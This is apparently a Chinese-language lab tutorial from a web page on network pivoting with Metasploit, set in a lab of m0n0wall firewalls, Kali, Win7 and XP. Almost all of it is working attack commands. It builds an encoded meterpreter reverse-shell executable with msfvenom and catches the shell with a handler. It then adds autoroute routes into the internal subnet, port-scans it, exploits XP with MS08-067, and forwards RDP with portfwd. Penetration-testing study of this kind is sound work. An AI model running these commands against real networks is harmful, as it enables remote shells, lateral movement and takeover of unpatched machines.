实验场景:m0n0 1和m0n0 2的桥接网卡有公网IP;Kali、Win7和Xp 分别是两个独立的内网;m0n0 1的4444端口映射到Kali的4444端口。
拓扑结构root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00\xff" -i 7 -f exe -o /root/1.exe 首先生成1.exe,注意LHOST是m0n0 1的公网IP192.168.1.10
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 1.1.1.10 注意lhost是Kali的内网ip
msf exploit(handler) > exploit
结果:在Win7上运行1.exe,Kali会获得Win7的Shell。
通过路由设置Pivoting。
meterpreter > ifconfig 首先查看Win7的IP地址
注意:Win7也可能是双宿主主机。(双宿主主机内外的网络均可与双宿主主机实施通信,但内外网络之间不可直接通信,内外部网络之间的IP数据流被双宿主主机完全切断。)
meterpreter > run autoroute -s 2.1.1.0/24 通向Win7和Xp内网的流量,都指向session 1
meterpreter > run autoroute -p 使用-p参数查看
添加完路由后,可以使用msf直接扫描内网2.1.1.0/24中的主机。
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 2.1.1.0/24
msf auxiliary(tcp) > set ports 139, 445
msf auxiliary(tcp) > exploit
扫描发现存在2.1.1.11,由于2.1.1.11是XP系统,我们可以使用ms 08-067对它进行测试。
msf auxiliary(tcp) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set rhost 2.1.1.11
msf exploit(ms08_067_netapi) > set lhost 2.1.1.10 如果XP没有访问外网的权限,就将lhost设置成Win7的ip地址,此时Win7相当于跳板机
msf exploit(ms08_067_netapi) > set lhost 192.168.1.10 如果XP有访问外网的权限,就将lhost设置成m0n0 1的ip地址
msf exploit(ms08_067_netapi) > exploit
通过端口转发设置Pivoting。
portfwd基本使用
meterpreter > portfwd add -l 4489 -r 2.1.1.11 -p 3389
root@kali:~# rdesktop 127.0.0.1:4489 连接本机的4489端口,相当于连接2.1.1.11的3389端口
meterpreter > portfwd list 列出端口转发规则
网友评论